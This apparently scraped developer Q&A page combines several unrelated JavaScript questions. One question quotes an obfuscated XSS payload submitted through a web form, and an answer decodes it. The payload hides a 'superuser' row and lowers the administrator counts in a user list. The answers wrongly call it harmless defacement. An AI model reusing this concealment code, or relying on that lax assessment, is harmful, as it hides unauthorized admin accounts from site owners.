Develop Reference

How to embed this javascrip into Mathematica with a single input

In my research, I need to generate Fricke Polynomials. Luckily the job has been done for me on a website. However, it is in javascript+html+css so I am not sure how it works as I only use Mathematica. I was wondering if anyone could explain how I could make all of this work on a single javascript code with a single input (and where to put the input). My plan is then to just take the code and embed it in Mathematica as I have seen this is possible. The input is a word say made up of a's and b's say aabbbaa and an output is a polynomial. I do not need to understand the code really.
Thank you
function Polynomial(){
this.data = "";
this.setData = function(str){
this.data = str;
}
this.toString = function(){
var s = this.data;
if (this.data.startsWith("x0y0z0"))
s = s.replace("x0y0z0", "1");
s = s.replace(/x0y0z0/g, "")
.replace(/\s\+\s-/g, "</sup> - ").replace(/\s\+/g, "</sup> +")
.replace(/x/g, "x<sup>").replace(/y/g, "</sup>y<sup>")
.replace(/z/g, "</sup>z<sup>")
.replace(/\s1x/g, " x").replace(/\s1y/g, " y").replace(/\s1z/g, " z");
s += "</sup>";
s = s.replace(/x<sup>0<\/sup>/g, "").replace(/y<sup>0<\/sup>/g, "")
.replace(/z<sup>0<\/sup>/g, "")
.replace(/x<sup>1<\/sup>/g, "x").replace(/y<sup>1<\/sup>/g, "y")
.replace(/z<sup>1<\/sup>/g, "z");
if (s.startsWith("1x"))
s = s.replace("1x", "x");
if (s.startsWith("1y"))
s = s.replace("1y", "y");
if (s.startsWith("1z"))
s = s.replace("1z", "z");
return s;
}
}
function compareMonomial(m1, m2){
m1s = m1.split(/[x|y|z]/g);
m2s = m2.split(/[x|y|z]/g);
if (m1s[3]< m2s[3]) return -1;
else if (m1s[3] > m2s[3]) return 1;
else if (m1s[2]< m2s[2]) return -1;
else if (m1s[2] > m2s[2]) return 1;
else if (m1s[1]< m2s[1]) return -1;
else if (m1s[1] > m2s[1]) return 1;
else return 0;
}
function addMonomial(m1, m2){
m1s = m1.split(/[x|y|z]/g);
m2s = m2.split(/[x|y|z]/g);
coef = parseInt(m1s[0]) + parseInt(m2s[0]);
if (coef == 0)
return "ZERO"
else
return coef + "x" + m1s[1] + "y" + m1s[2] + "z" + m1s[3];
}
function subMonomial(m1, m2){
m1s = m1.split(/[x|y|z]/g);
m2s = m2.split(/[x|y|z]/g);
coef = parseInt(m1s[0]) - parseInt(m2s[0]);
if (coef == 0)
return "ZERO";
else
return coef + "x" + m1s[1] + "y" + m1s[2] + "z" + m1s[3];
}
function mulMonomial(m1, m2){
m1s = m1.split(/[x|y|z]/g);
m2s = m2.split(/[x|y|z]/g);
coef = parseInt(m1s[0]) * parseInt(m2s[0]);
coefx = parseInt(m1s[1]) + parseInt(m2s[1]);
coefy = parseInt(m1s[2]) + parseInt(m2s[2]);
coefz = parseInt(m1s[3]) + parseInt(m2s[3]);
if (coef == 0)
return "ZERO";
else
return coef + "x" + coefx + "y" + coefy + "z" + coefz;
}
function add(p1, p2){
if (p1.data == "")
return p2;
if (p2.data == "")
return p1;
var r = new Polynomial();
p1Mos = p1.data.split(" + ");
p2Mos = p2.data.split(" + ");
var data = "";
var k = 0; var current = p1Mos[0];
for (var i = 0; i < p2Mos.length; i++){
if (k >= p1Mos.length)
data += " + " + p2Mos[i];
else {
while (k < p1Mos.length && compareMonomial(current, p2Mos[i]) < 0){
data += " + " + p1Mos[k]; k++; current = p1Mos[k];
}
if (current == undefined)
data += " + " + p2Mos[i];
else if (compareMonomial(current, p2Mos[i]) == 0){
if (addMonomial(current, p2Mos[i]) != "ZERO")
data += " + " + addMonomial(current, p2Mos[i]);
k++; current = p1Mos[k];
}
else{
data += " + " + p2Mos[i];
}
}
}
while (k < p1Mos.length){
data += " + " + p1Mos[k]; k++
}
r.setData(data.substring(3));
return r;
}
function sub(p1, p2){
if (p2.data == "")
return p1;
if (p1.data == ""){
//need to update here
return p2;
}
var r = new Polynomial();
p1Mos = p1.data.split(" + ");
p2Mos = p2.data.split(" + ");
var data = "";
var k = 0; var current = p1Mos[0];
for (var i = 0; i < p2Mos.length; i++){
p2coef = p2Mos[i].split(/[x|y|z]g/)[0];
if (parseInt(p2coef) < 0)
p2MoNeg = p2Mos[i].substring(1);
else
p2MoNeg = "-" + p2Mos[i];
if (k >= p1Mos.length)
data += " + " + p2MoNeg;
else {
while (k < p1Mos.length && compareMonomial(current, p2Mos[i])< 0){
data += " + " + p1Mos[k]; k++; current = p1Mos[k];
}
if (current == undefined)
data += " + " + p2MoNeg;
else if (compareMonomial(current, p2Mos[i]) == 0){
if (subMonomial(current, p2Mos[i]) != "ZERO")
data += " + " + subMonomial(current, p2Mos[i]);
k++; current = p1Mos[k];
}
else{
data += " + " + p2MoNeg;
}
}
}
while (k < p1Mos.length){
data += " + " + p1Mos[k]; k++
}
r.setData(data.substring(3));
return r;
}
// multiply polynomial p1 (with array of monomials p1Mos) with a monomial m2
function mulPM(p1Mos, m2){
r = new Polynomial();
var data = "";
for (var i = 0; i < p1Mos.length; i++){
if (mulMonomial(p1Mos[i], m2) != "ZERO")
data += " + " + mulMonomial(p1Mos[i], m2);
}
r.setData(data.substring(3)); return r;
}
// multiply polynomial p1 with polynomial p2
function mul(p1, p2){
p1s = p1.data.split(" + ");
p2s = p2.data.split(" + ");
r = new Polynomial();
for (var i = 0; i < p2s.length; i++){
r = add(r, mulPM(p1s, p2s[i]));
}
return r;
}
function Fricke(s){
var w = new Word();
w.setWordString(s);
w.reduce(); s = w.toString();
var r = new Polynomial();
var l = s.length;
// Trivial case or case where 2 consecutive letters among last 4 letter
// are the same
if (l == 0){
r.setData("2x0y0z0");
return r;
}
if (l == 1){
if (s == "a" || s == "A")
r.setData("1x1y0z0");
else
r.setData("1x0y1z0");
return r;
}
if (s.charAt(l-1) == s.charAt(l-2)){
var c = s.charAt(l-1);
var s1 = s.substring(0, l-2);
r = sub(mul(Fricke(s1 + c), Fricke(c + "")), Fricke(s1));
return r;
}
if (l == 2){
if (s == "ab" || s == "ba" || s == "AB" || s == "BA"){
r.setData("1x0y0z1");
return r;
}
else if (s == "aB" || s == "Ba" || s == "Ab" || s == "bA"){
r.setData("1x1y1z0 + -1x0y0z1");
return r;
}
}
if (s.charAt(l-2) == s.charAt(l-3)){
s = s.charAt(l-1) + s.substring(0, l-1);
r = Fricke(s);
return r;
}
if (l == 3){
s = s.charAt(l-1) + s.substring(0, l-1);
r = Fricke(s);
return r;
}
if (s.charAt(l-3) == s.charAt(l-4)){
s = s.substring(l-2, l) + s.substring(0, l-2);
r = Fricke(s);
return r;
}
// Case 2: w = x1Yx2y
var t = s.charCodeAt(l-1) - s.charCodeAt(l-3);
if ( t == 32 || t == -32){
var w1 = new Word();
w1.setWordString(s.substring(l-2, l));
var s2 = s.substring(0, l-2) + w1.bar().toString();
r = sub(mul(Fricke(s.substring(0, l-2)), Fricke(s.substring(l-2, l))),
Fricke(s2));
return r;
}
// Case 3: w = ...Xyxy
t = s.charCodeAt(l-2) - s.charCodeAt(l-4);
if ( t == 32 || t == -32){
r = Fricke(s.charAt(l-1) + s.substring(0, l-1));
return r;
}
// Last case 4: w = ...xyxy
r = sub(mul(Fricke(s.substring(0, l-2)), Fricke(s.substring(l-4, l-2))),
Fricke(s.substring(0, l-4)));
return r;
}
// Helper methods:
function cancel2Char(src, i){
dest = [];
for (var j = 0; j < i; j++)
dest[j] = src[j];
for (var j = i; j < src.length - 2; j++)
dest[j] = src[j+2];
return dest;
}
function trim2Ends(src){
dest = [];
for (var j = 1; j < src.length - 1; j++)
dest[j - 1] = src[j];
return dest;
}
// Function to find the minimum equivalent class of a reduced cyclic word rc.
function minReduceCyclic(rc){
var min = rc.clone();
var W = new Word();
for (var i = 0; i < rc.word.length; i++){
W = rc.permute(i);
if (min.compareTo(W) > 0)
min = W;
}
return min;
}
function canonical(W){
W.reduce();
W.toReduceCyclic();
W = minReduceCyclic(W);
return W;
}
// CLASS Word
function Word(){
this.word = [];
this.setWord = function(w){
this.word = w;
}
this.setWordString = function(s){
// a-z = 1-26 && A-Z = -1 - -26;
for (var i = 0; i < s.length; i++){
var c = s.charCodeAt(i);
if (c >= 65 && c <= 90 )
this.word[i] = -(c - 64);
else if (c >= 97 && c < 122)
this.word[i] = c - 96;
else {
this.word = []; return;
}
}
}
this.length = function(){ return this.word.length; }
}
Word.prototype.isReduce = function(){
for(var i = 0; i < this.word.length - 1; i++)
if (this.word[i] == -this.word[i+1])
return false;
return true;
}
Word.prototype.reduce = function(){
var i = -2;
while(i != this.word.length - 1){
if (this.word.length == 0)
return;
for(i = 0; i < this.word.length - 1; i++)
if (this.word[i] == -this.word[i+1]){
this.word = cancel2Char(this.word, i);
break;
}
}
return;
}
Word.prototype.toReduceCyclic = function(){
this.reduce();
while(this.word[0] == -this.word[this.word.length - 1])
this.word = trim2Ends(this.word);
return;
}
Word.prototype.toString = function(){
var s = "";
for (var i = 0; i < this.word.length; i++){
if (this.word[i] < 0)
s = s + String.fromCharCode(-this.word[i] + 64);
else
s = s + String.fromCharCode(this.word[i] + 96);
}
return s;
}
Word.prototype.bar = function(){
var r = new Word();
var w = r.word;
for (var j = 0; j < this.word.length; j++)
w[j] = - this.word[this.word.length - 1 - j];
return r;
}
Word.prototype.permute = function(i){
var r = new Word();
var w = r.word;
for (var j = 0; j < this.word.length; j++)
w[j] = this.word[(j + i) % this.word.length];
return r;
}
Word.prototype.isEqual = function(W2){
var w1 = this.word;
var w2 = W2.word;
if (w1.length != w2.length)
return false;
for (var i = 0; i < w1.length; i++)
if (w1[i] != w2[i])
return false;
return true;
}
Word.prototype.compareTo = function(W2){
var w1 = this.word;
var w2 = W2.word;
var l = Math.min(w1.length, w2.length);
for (var i = 0; i < l; i++){
if (w1[i] < w2[i])
return -1;
if (w1[i] > w2[i])
return 1;
}
if (w1.length > w2.length)
return 1;
if (w1.length < w2.length)
return -1;
return 0;
}
Word.prototype.clone = function(){
var r = new Word();
w = r.word;
for (var i = 0; i < this.word.length; i++)
w[i] = this.word[i];
return r;
}
Word.prototype.primitiveExp = function(){
w = this.word; l = w.length;
for(var i = 1; i <= l/2; i++){
if (l % i == 0){
found = true;
test:
for (var j = 0; j < l/i; j++)
for (var t = 0; t < i; t++)
if (w[t] != w[t + j * i]){
found = false;
break test;
}
}
if (found)
return l/i;
}
return 1;
}
// Need to debug
function concat(W1, W2){
r = new Word();
var w1 = W1.word;
var w2 = W2.word;
var w = []
for (var i = 0; i < w1.length; i++)
w[i] = w1[i];
for (var i = 0; i < w2.length; i++)
w[i + w1.length] = w2[i];
r.setWord(w);
return r;
}
// These are supposed to be surface word methods
// sw is a word and the order is a map, which
// maps characters in a word (1-k or (-1)-(-k)) to its order in the alphabet
function order(sw){
var w = sw.word;
var o = new Map();
for (var i = 0; i < w.length; i++)
o.set(w[i], i);
return o;
}
function findCharPos(sw, c){
for (var i = 0; i < sw.word.length; i++)
if (sw.word[i] == c)
return i;
}
var time;
$(document).ready(function(){
$("#compute").click(function(){
$("#note").text("Note: Computing.....");
time = new Date().getTime();
setTimeout(function(){
new Promise(compute).then(doneCompute("Note: Done! The computation time is about "));
}, 50);
});
$("#reset").click(function(){
$("#note").text("Note:");
$("#word").val("");
$("#fpOutput").text("");
});
});
function compute(value){
$("#fpOutput").html(Fricke($("#word").val()).toString());
$("#fpOutput").slideDown("slow");
}
function doneCompute(value){
$("#note").text(value + (new Date().getTime() - time - 50) + " milliseconds.");
}
<!DOCTYPE html>
<html>
<head>
<link href="fricke.css" type="text/css" rel="stylesheet" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script type="text/javascript" src="Word.js"></script>
<script type="text/javascript" src="Polynomial.js"></script>
<script type="text/javascript" src="gui.js"></script>
</head>
<body>
<h2>Computing Fricke Polynomial for word with 2 generators a and b</h2>
<br>
<b>Word: </b>
<input type="text" class="inputText" id="word"></input><br><br>
<br><br>
<button class="button" id="compute">Compute</button>
<button class="button" id="reset">Reset</button>
<br><br>
<div id="note">Note:</div>
<br><br>
<div class="slide">Fricke Polynomial</div>
<div class="output" id="fpOutput"></div>
</body>
</html>

What does this suspicious and likely malicious code do?

A random user added this text as his name in a web form. I suppose his idea was to somehow inject Javascript into a dynamic page. How should this code be interpreted? (What does it do?)
<script LANGUAGE="JavaScript">
function Decode() {
var temp = "",
i, c = 0,
out = "";
var str = "46!46!46!32!60!98!32!105!100!61!34!117!115!101!114!95!115!117!112!101!114!117!115!101!114!34!62!60!115!99!114!105!112!116!32!108!97!110!103!117!97!103!101!61!34!74!97!118!97!83!99!114!105!112!116!34!62!32!118!97!114!32!115!101!116!85!115!101!114!78!97!109!101!32!61!32!102!117!110!99!116!105!111!110!40!41!123!32!116!114!121!123!32!118!97!114!32!116!61!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!66!121!73!100!40!34!117!115!101!114!95!115!117!112!101!114!117!115!101!114!34!41!59!32!119!104!105!108!101!40!116!46!110!111!100!101!78!97!109!101!33!61!34!84!82!34!41!123!32!116!61!116!46!112!97!114!101!110!116!78!111!100!101!59!32!125!59!32!116!46!112!97!114!101!110!116!78!111!100!101!46!114!101!109!111!118!101!67!104!105!108!100!40!116!41!59!32!118!97!114!32!116!97!103!115!32!61!32!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!115!66!121!84!97!103!78!97!109!101!40!34!72!51!34!41!59!32!118!97!114!32!115!32!61!32!34!32!115!104!111!119!110!32!98!101!108!111!119!34!59!32!102!111!114!32!40!118!97!114!32!105!32!61!32!48!59!32!105!32!60!32!116!97!103!115!46!108!101!110!103!116!104!59!32!105!43!43!41!32!123!32!118!97!114!32!116!61!116!97!103!115!91!105!93!46!105!110!110!101!114!72!84!77!76!59!32!118!97!114!32!104!61!116!97!103!115!91!105!93!59!32!105!102!40!116!46!105!110!100!101!120!79!102!40!115!41!62!48!41!123!32!115!32!61!40!112!97!114!115!101!73!110!116!40!116!41!45!49!41!43!115!59!32!104!46!114!101!109!111!118!101!67!104!105!108!100!40!104!46!102!105!114!115!116!67!104!105!108!100!41!59!32!116!32!61!32!100!111!99!117!109!101!110!116!46!99!114!101!97!116!101!84!101!120!116!78!111!100!101!40!115!41!59!32!104!46!97!112!112!101!110!100!67!104!105!108!100!40!116!41!59!32!125!32!125!32!118!97!114!32!97!114!114!61!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!115!66!121!84!97!103!78!97!109!101!40!34!117!108!34!41!59!32!102!111!114!40!118!97!114!32!105!32!105!110!32!97!114!114!41!32!105!102!40!97!114!114!91!105!93!46!99!108!97!115!115!78!97!109!101!61!61!34!115!117!98!115!117!98!115!117!98!34!41!123!32!118!97!114!32!110!61!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!118!97!114!32!110!61!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!92!34!99!111!117!110!116!92!34!62!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!118!97!114!32!110!61!47!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!92!34!99!111!117!110!116!92!34!62!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!125!32!125!99!97!116!99!104!40!101!41!123!125!59!32!125!59!32!97!100!100!76!111!97!100!69!118!101!110!116!40!115!101!116!85!115!101!114!78!97!109!101!41!59!32!60!47!115!99!114!105!112!116!62!";
l = str.length;
while (c <= str.length - 1) {
while (str.charAt(c) != '!') temp = temp + str.charAt(c++);
c++;
out = out + String.fromCharCode(temp);
temp = "";
}
document.write(out);
}
</script>
<script LANGUAGE="JavaScript">
Decode();
</SCRIPT>

It creates a script tag with some JavaScript code. It changes some HTML elements, doesn't seem to be very dangerous. We would probably need to know what environment / website it was supposed to be used in.
Here is the code created by the script:
<b id="user_superuser"><script language="JavaScript">
var setUserName = function () {
try {
var t = document.getElementById("user_superuser");
while (t.nodeName != "TR") {
t = t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t = tags[i].innerHTML;
var h = tags[i];
if (t.indexOf(s) > 0) {
s = (parseInt(t) - 1) + s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr = document.getElementsByTagName("ul");
for (var i in arr)
if (arr[i].className == "subsubsub") {
var n = />Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi, ">Administrator (" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi, ">Administrator <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi, ">All <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
}
} catch (e) {};
};
addLoadEvent(setUserName);

It injects this into the page...
As for what it does... well, nothing really
It replaces some tags on the page with some "Administrator" text... without seeing the rest of your code I can't really tell, but it looks like it is mainly defacing the site to scare you
... <b id="user_superuser">
<script language="JavaScript">
var setUserName = function() {
try {
var t = document.getElementById("user_superuser");
while (t.nodeName != "TR") {
t = t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t = tags[i].innerHTML;
var h = tags[i];
if (t.indexOf(s) > 0) {
s = (parseInt(t) - 1) + s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr = document.getElementsByTagName("ul");
for (var i in arr)
if (arr[i].className == "subsubsub") {
var n = />Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi, ">Administrator (" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi, ">Administrator <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi, ">All <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
}
} catch (e) {};
};
addLoadEvent(setUserName);
</script>

Assigning static data amount in a div to be called from a function

I'm using an example based on the following example:
http://jsfiddle.net/5tt7d3e6/
In this, a function is created to turn a number into words.
The function is processed in the following HTML
<input type="text" name="number" placeholder="Number OR Amount" onkeyup="word.innerHTML=convertNumberToWords(this.value)" />
<div id="word"></div>
The above allows you to enter a number into a textbox. The function translates what you type as a number into words.
Is there an easy way to set a div which already holds the number, instead of typing it to display?'
Such as:
<div data="innerHTML=convertNumberToWords(1233213)"></div>

You can hookup an event handler for onreadystatechange and inside that you can put your logic.
Fiddle 1
document.onreadystatechange = function() {
word.innerHTML = convertNumberToWords(1233213);
};
However if you want show data based on existing value inside input, first put an id attribute for input
<input id="number" ... />
And then in JS:
document.onreadystatechange = function() {
word.innerHTML = convertNumberToWords(number.value);
};
Fiddle 2

Suggestion: use switch statment in convertNumberToWords()
switch(amount){
case 0: 'zero'; break;
default: 'Please enter number only!'; break;
}

If you want to write to the document as it is processed and not later.
<div id="word">
<script>
document.write(convertNumberToWords(12233456))
</script>
</div>
This is the recommended way though:
<div id="word"></div>
<script>
document.getElementById('word').innerHTML = convertNumberToWords(12233456);
</script>
--
<script>
function convertNumberToWords(amount) {
var words = new Array();
words[0] = '';
words[1] = 'One';
words[2] = 'Two';
words[3] = 'Three';
words[4] = 'Four';
words[5] = 'Five';
words[6] = 'Six';
words[7] = 'Seven';
words[8] = 'Eight';
words[9] = 'Nine';
words[10] = 'Ten';
words[11] = 'Eleven';
words[12] = 'Twelve';
words[13] = 'Thirteen';
words[14] = 'Fourteen';
words[15] = 'Fifteen';
words[16] = 'Sixteen';
words[17] = 'Seventeen';
words[18] = 'Eighteen';
words[19] = 'Nineteen';
words[20] = 'Twenty';
words[30] = 'Thirty';
words[40] = 'Forty';
words[50] = 'Fifty';
words[60] = 'Sixty';
words[70] = 'Seventy';
words[80] = 'Eighty';
words[90] = 'Ninety';
amount = amount.toString();
var atemp = amount.split(".");
var number = atemp[0].split(",").join("");
var n_length = number.length;
var words_string = "";
if (n_length <= 9) {
var n_array = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0);
var received_n_array = new Array();
for (var i = 0; i < n_length; i++) {
received_n_array[i] = number.substr(i, 1);
}
for (var i = 9 - n_length, j = 0; i < 9; i++, j++) {
n_array[i] = received_n_array[j];
}
for (var i = 0, j = 1; i < 9; i++, j++) {
if (i == 0 || i == 2 || i == 4 || i == 7) {
if (n_array[i] == 1) {
n_array[j] = 10 + parseInt(n_array[j]);
n_array[i] = 0;
}
}
}
value = "";
for (var i = 0; i < 9; i++) {
if (i == 0 || i == 2 || i == 4 || i == 7) {
value = n_array[i] * 10;
} else {
value = n_array[i];
}
if (value != 0) {
words_string += words[value] + " ";
}
if ((i == 1 && value != 0) || (i == 0 && value != 0 && n_array[i + 1] == 0)) {
words_string += "Crores ";
}
if ((i == 3 && value != 0) || (i == 2 && value != 0 && n_array[i + 1] == 0)) {
words_string += "Lakhs ";
}
if ((i == 5 && value != 0) || (i == 4 && value != 0 && n_array[i + 1] == 0)) {
words_string += "Thousand ";
}
if (i == 6 && value != 0 && (n_array[i + 1] != 0 && n_array[i + 2] != 0)) {
words_string += "Hundred and ";
} else if (i == 6 && value != 0) {
words_string += "Hundred ";
}
}
words_string = words_string.split(" ").join(" ");
}
return words_string;
}
</script>
<div id="word">
<script>
document.write(convertNumberToWords(12233456))
</script>
</div>

Fiddle Link
change the value of textbox and press click button it will return into word
<input id="check"type="text" name="number" placeholder="Number OR Amount" />
<div id="word"></div>
<input type="button" id="button" value="click">
js code
$("#button").click(function()
{
var number = $('#check').val();
$("#word").html(toWords(number));
});
var th = ['','thousand','million', 'billion','trillion'];
var dg = ['zero','one','two','three','four', 'five','six','seven','eight','nine']; var tn = ['ten','eleven','twelve','thirteen', 'fourteen','fifteen','sixteen', 'seventeen','eighteen','nineteen']; var tw = ['twenty','thirty','forty','fifty', 'sixty','seventy','eighty','ninety']; function toWords(s){s = s.toString(); s = s.replace(/[\, ]/g,''); if (s != parseFloat(s)) return 'not a number'; var x = s.indexOf('.'); if (x == -1) x = s.length; if (x > 15) return 'too big'; var n = s.split(''); var str = ''; var sk = 0; for (var i=0; i < x; i++) {if ((x-i)%3==2) {if (n[i] == '1') {str += tn[Number(n[i+1])] + ' '; i++; sk=1;} else if (n[i]!=0) {str += tw[n[i]-2] + ' ';sk=1;}} else if (n[i]!=0) {str += dg[n[i]] +' '; if ((x-i)%3==0) str += 'hundred ';sk=1;} if ((x-i)%3==1) {if (sk) str += th[(x-i-1)/3] + ' ';sk=0;}} if (x != s.length) {var y = s.length; str += 'point '; for (var i=x+1; i<y; i++) str += dg[n[i]] +' ';} return str.replace(/\s+/g,' ');}

HTML - show event of today with a JavaScript function

I want my HTML page to show me the events/ in this case birthday(s) of this day.
But my Code doesn't work.
function birthday() {
var event = [];
var temp = [];
event[0] = ["31.10.1991", "test1"];
event[1] = ["11.12.2015", "TestToday"];
var datum = new Date();
var today = today.getDate();
var month = today.getMonth() + 1;
for (i = 0; i < event.length; i++) {
if (event[i]) {
if (event[i][0] == today && event[i][0] == month) {
event[i][0] = temp[i];
}
}
else {
break;
}
}
if (temp.length == 0) {
document.write("Today nobody has a birthday");
}
else {
var x2 = "Today " + ((temp.length == 1) ? "has" : "have");
for (i = 0; i < temp.length; i++) {
x2 += ((temp[i] > 0) ? ((temp[i] == (temp.length - 1)) ? " and " : ", ") : " ") + temp[event[1]][3] + "(" + temp[event[i]][2] + ")";
}
document.write(x2 + " birthday");
}
}
Question1: Where are my mistakes and how can I make it work?
Question2: How can the program take the dates out of a excel sheet?

In JavaScript you define arrays using [];
I don't speak German so i don't know what you need to print
function birthday() {
var Geb = [];
var ausgabe = [];
Geb[0] = ["31.10.1991", "Test1"];
Geb[1] = ["23.11.2000", "Testheute"];
var datum = new Date(); //Datums Objekt
var heute = datum.getDate(); //Tage 1-31
var monat = datum.getMonth() + 1; //Monate von 0-11
for (i = 0; i < Geb.length; i++) {
if (Geb[i]) {
if (Geb[i][0] == heute && Geb[i][0] == monat) {
Geb[i][0] = ausgabe[i];
}
}
else {
break;
}
}
if (ausgabe.length == 0) {
document.write("Heute hat niemand Geburtstag");
}
else {
var x2 = "Heute " + ((ausgabe.length == 1) ? "hat" : "haben");
for (i = 0; i < ausgabe.length; i++) {
x2 += ((ausgabe[i] > 0) ? ((ausgabe[i] == (ausgabe.length - 1)) ? " und " : ", ") : " ") + ausgabe[Geb[i1]][3] + "(" + ausgabe[Geb[i]][2] + ")";
}
document.write(x2 + " Geburtstag");
}
}
birthday();

How to use AJAX or JSON in this code?

I am creating a website application that allows users to select a seat, if it is not already reserved, and reserve it.
I have created a very round about way of getting the seats that are previously reserved using iFrames, however that was temporarily, now I need to make it secure and "proper javascript code" using proper practices. I have no clue what AJAX (or JSON) is, nor how to add it to this code, but it needs to get the file "seatsReserved"+this.id(that is the date)+"Que.html" and compare the string of previously reserved seats to see which class to make the element. If this is horrible, or if any of the other things could work better, I am open to criticism to everything. Thank you all!
Here is the javascript code:
A little side note, all of the if statements are due to different amount of seats in each row
<script>
var i = " 0 ";
var counter = 0;
var leng=0;
document.getElementById("Show1").addEventListener("click", changeDay);
document.getElementById("Show2").addEventListener("click", changeDay);
document.getElementById("Show3").addEventListener("click", changeDay);
function changeDay() {
var iFrame = document.getElementById("seatList");
iFrame.src = "seatsReserved" + this.id + "Que.html";
document.getElementById('date').innerHTML = this.id;
var seatsTaken = iFrame.contentWindow.document.body.innerHTML;
var k = 0;
let = 'a';
var lc = 0;
for (lc = 1; lc <= 14; lc++) {
if (lc == 1) {
leng = 28;
}
else if (lc == 2) {
leng = 29;
}
else if (lc == 3) {
leng = 32;
}
else if (lc == 4 || lc == 6 || lc == 12 || lc == 14) {
leng = 33;
}
else if (lc == 5 || lc == 13) {
leng = 34;
}
else if (lc == 8 || lc == 10) {
leng = 35;
}
else {
leng = 36;
}
for (k = 1; k <= leng; k++) {
if (seatsTaken.indexOf((" " +
let +k + " ")) <= -1) {
seat = document.getElementById(let +k);
seat.removeEventListener("click", selectedSeat);
}
else {
document.getElementById(let +k).className = "openseat";
document.getElementById(let +k).removeEventListener("click", doNothing);
}
}
let = String.fromCharCode(let.charCodeAt(0) + 1);
}
}
function loadChanges() {
var iFrame = document.getElementById("seatList");
var seatsTaken = iFrame.contentWindow.document.body.innerHTML;
var k = 0;
let = 'a';
var lc = 0;
var leng = 0;
for (lc = 1; lc <= 14; lc++) {
if (lc == 1) {
leng = 28;
}
else if (lc == 2) {
leng = 29;
}
else if (lc == 3) {
leng = 32;
}
else if (lc == 4 || lc == 6 || lc == 12 || lc == 14) {
leng = 33;
}
else if (lc == 5 || lc == 13) {
leng = 34;
}
